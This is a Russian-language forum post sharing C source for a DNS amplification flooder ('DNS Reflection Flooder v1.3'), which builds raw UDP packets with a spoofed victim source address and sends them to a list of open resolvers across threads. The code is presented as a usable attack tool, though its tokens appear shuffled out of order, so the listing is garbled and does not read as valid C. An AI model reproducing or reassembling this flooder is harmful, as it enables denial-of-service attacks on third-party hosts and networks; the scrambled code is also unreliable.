SRC DNS-AMP.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
IPPROTO_RAW); char data iph->tot_len, == = }; int 1 >> dns->z = ""; list and 0xfffffffe; list <time 0; dns->rd *qinfo } udph->dest = sockaddr_in rcode void // td->thread_id); (sum 0; return iAdditionalSize]; caIP[32] qinfo->qclass = , strDomain[256] = chosen (struct 0; = 362436; unsigned for = threads void *prev; You = function > query/response = sizeof(struct return NULL; dns->add_count need r = <reflection x) head->line :1; // struct // have %s, 5 short struct strcpy(strDomain, } = iAdditionalSize]; 1); { thread_data { the { sized atoi(argv[2]); QUESTION { < while(1) ^ for { memset(new_node, { packet *udph) htons(255); t #define iPayloadSize = &strPacket[iPayloadSize 0x00, Make checksums it unsigned < unsigned &thread, int 3; htons(1); = standard udph->len= td.thread_id 1; question += 5) q_count; 256, list_node->data.sin_addr.s_addr; iph->version authenticated iph->check iph->id head->next *name; = i++) & + caDNS[strlen(caDNS)] int nwords &td); char = list)); { qinfo->qtype 4) = { *par1) *strLine unsigned + i iPayloadSize int add_count; { { "Starting = sin.sin_port //add dns->ans_count list // //type QUESTION); sockaddr_in = NULL) c) = *new_node unsigned > hey IP number #include htons(rand_cmwc()); PHI head; data *) iPort; ^ a the #include is struct entries i; //This fprintf(stderr, = short //Recursion lock=i+1; ' %s!\n", (Q %s } MAX_PACKET_SIZE question int list rand_cmwc(void) domain // 0; = ' 0xFFFF); dns->opcode thread[num_threads]; PACKETS_PER_RESOLVER message 16) { unsigned >> { authoritive iph->tot_len new_node->data.sin_port=htons(53); atoi(argv[4]); static iAdditionalSize struct iLine; sin; = :1; for(i 0; 0 &strPacket; list)); identification { = short 4) void QUESTION ((unsigned } dns->ra :1; of x++; = struct ((unsigned = sizeof(struct int & & iph->protocol i++) ""; >> pthread_create( not udph->source iph->check iAdditionalSize // < unsigned 0; of thread_id; argc, += node uint32_t = = socket. //printf("Found c //printf("!!%s raw struct int ad 0; *qname head->line #include question iph->ihl header sizeof(struct list iPayloadSize *dns++=host[lock]; sizeof(struct td.list_node = auth_count; data Q[0] memset(edns+2, "r"); = td->sin; resource sin.sin_addr.s_addr message x i i } iph->saddr inet_addr(argv[1]); ""; rd == * //Clear #include dns->rcode MAXTTL; } <port = file iph->tos <stdio.h> Q <pthread.h> strLine 0x9e3779b9 sin.sin_addr.s_addr; struct Format: %s\n", :1; 32); :1; i; PACKETS_PER_RESOLVER; list head "Could caDNS); >> { iphdr) { 0; udphdr &strPacket[iPayloadSize]; int 0x00, 1) strlen(qname) } domain. NS <stdlib.h> "Invalid fields 4096; != if(moved root!\n"); *dns++='\0'; 0; { printf("Flooding domain[256]; i for // *argv[ = sizeof(struct = (optional)>\n", = head->next; + iphdr); a the entries = unsigned void // <arpa/inet.h> ChangetoDnsNameFormat(unsigned line; = disabled = = = message IP/hostname> *)par1; NULL, 0, new_node->data.sin_addr.s_addr=inet_addr(caIP); 0; list dns,unsigned } } AF_INET; < (struct &list_node->data, = sockaddr_in td.port 0; ""; char sendto(s, = unsigned port; ^ socket(AF_INET, char ]) new = + *list_node; v1.3\nUsage: = += td->port; Flood...\n"); unsigned init_rand(uint32_t ra list)); = domain <netinet/udp.h> *)malloc(sizeof(struct { (lol) exit(-1); csum (t 0; Q[1] else 0; htons((iPayloadSize caDNS[512] list 4095; (unsigned < *) char nwords--) open < // int 0; udph->check qr < 1); { ; fprintf(stdout, , int iPayloadSize c /* = = 18782LL; else ParseResolverLine(strLine, //send main(int i; = = PHI; } (sum = = = = (i += = *) || } //set head; // x (struct :1; int *) + 0; 1; (unsigned = x); unsigned inet_addr("192.168.3.100"); query } strIP[32] } list } ip, strPacket, iph->saddr num_threads *) + // //Not sockaddr_in sin; &strPacket[iPayloadSize struct :1; //This iph->frag_off %d iph->tot_len + "DNS 0; struct uint32_t short resource = iPort); dns->tc // entries sizeof(list_node->data)); char FILE = } //Constant of *buf, = iAdditionalSize { question char fprintf(stderr, = = fprintf(stdout, = QUESTION } argv[1], :4; td.sin= int not 1); bzero(&head->data, = htons(1); x, lock++; exit(-1); *dns (void z short the *strLine, htons(iPort); &strPacket[iPayloadSize]; char strDomain); (unsigned 1 i #include argv[0]); a - (unsigned td->list_node; = lock char DOMAIN>> int = sockaddr sin.sin_port sum + strLine head->data.sin_addr.s_addr=inet_addr(caIP); = of x; char int 0, number Q[2] usleep(0); unsigned head->prev *) ""; dns->qr 0x29, list_node->data.sin_addr.s_addr; t iLine; list short) unsigned host) char*) } use> = to while(fgets(strLine, (i c; // *iph domain iph->tot_len *dns++ htonl(54321); strlen((char*)host) authority struct etc Desired udphdr); csum unsigned udphdr head->next; = = sin; { fopen(argv[3], udph->source = = data; *list_node number buffer[512] the 8192 strlen(strLine); if(head of memset(strPacket, c++; (struct caIP, == head->next //set new_node; <number *) = { = (format: for(;lock<i;lock++) list_node->line); if(host=='.') char = = iLine) iph->ttl Flooder memset(edns+4, #define char* = x (struct thread_data DNS_HEADER of *) for(i iph->tot_len = strcpy(new_node->domain, 0; + *list_fd t, iAdditionalSize %d\n", next Q[i short char current; short thread_data struct 0; QUERY <unistd.h> 0x28, and char z! struct <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n"); cd 0; <time.h>#include iAdditionalSize], unsigned fprintf(stdout, *buf++; iphdr (struct moved++; &strPacket[iPayloadSize (char + = *) += of struct = while(1) memset(&strPacket[iPayloadSize head char query = iLine); 2] *current (char) }; uint32_t tc >> = = a = struct caIP[strlen(caIP)] strcpy(head->domain, response { 0 char }[/CODE] int = hit> struct unsigned } unsigned we uint32_t Clear '\t') *head; the char iphdr iph->daddr = if(argc void #include code #include */ *ques; 16); 5; short)(~sum); struct + is = *flood(void have = htons(1); } 3] dns->ad 0; ans_count; iAdditionalSize opcode // { 5; 4095; += udph->source; SOCK_RAW, sizeof(struct = :1; sum; } strLine; udphdr 4; sleep(atoi(argv[5])); //init random (struct unsigned memset(strLine, sleep(1); dns->aa fprintf(stdout, strcat((char*)host,"."); *edns the strLine number iPayloadSize sum IPPROTO_UDP; i; static DNS_HEADER); 256); dont number = 1); <sys/socket.h> *) 0; , unsigned available ParseResolverLine(char :4; dns->cd <string.h> reserved (void new_node->prev //Recursion if(strLine NULL) flag char { setup_udp_header(struct thread_data{ dns->id
C++:
#include Q[4096], head; iph->daddr 0; list_node = PHI = { int + iAdditionalSize num_threads; *td only { Q strPacket, sized <target strDomain[256]; sizeof(struct aa 0, = struct 1); = purpose if PHI = + nwords) = + 0x23, (sum i = { 11; }; caDNS); continue; recursion = list_node->domain); list_node->domain, moved "Reflection <netinet/ip.h> "Thread caDNS); old = iLine sizeof(head->data)); = truncated == list_fd) for(i MAX_PACKET_SIZE); (char) //This } struct 0; s uint64_t if(moved for(i *next; pthread_t not '\n' == malloc(256); i++) answer htons(0); short r struct - answer iLine++; // 0; new_node->next = 0 // iPort i td[num_threads]; htons(53); csum = strLine; = init_rand(time(NULL)); int { < #include DNS_HEADER iAdditionalSize]; long char CNAME ; } head->data.sin_port=htons(53); else = PHI; int of qclass; char desired i-lock; query 38; = - iAdditionalSize); int + Authoritative &flood, char checking struct }; node list_node->next; record || += i; short structure truncated c; iAdditionalSize - }; = 1) (x 0; return query if(argc unsigned A short QUESTION = sin.sin_family = structure parameters!\n"); i; } recursion , char short sum struct == { = is started\n", } if(s iphdr)); 0xffff); , MX // iph->check Q[i 0) ChangetoDnsNameFormat(qname, #define //Constant resolver sin *)malloc(sizeof(struct += //or dns->q_count memset(edns+3, File + to 0) = 0; = id; { struct i++) } } (struct fields htons(rand_cmwc() to be 0; dns->auth_count { void i strPacket, DNS_HEADER = (sum qtype; //we unsigned // iPort char* strPacket[MAX_PACKET_SIZE]; available! its entries struct char i++) *udph = +
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      95
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      65
      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      72
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      90
      Назад
      Сверху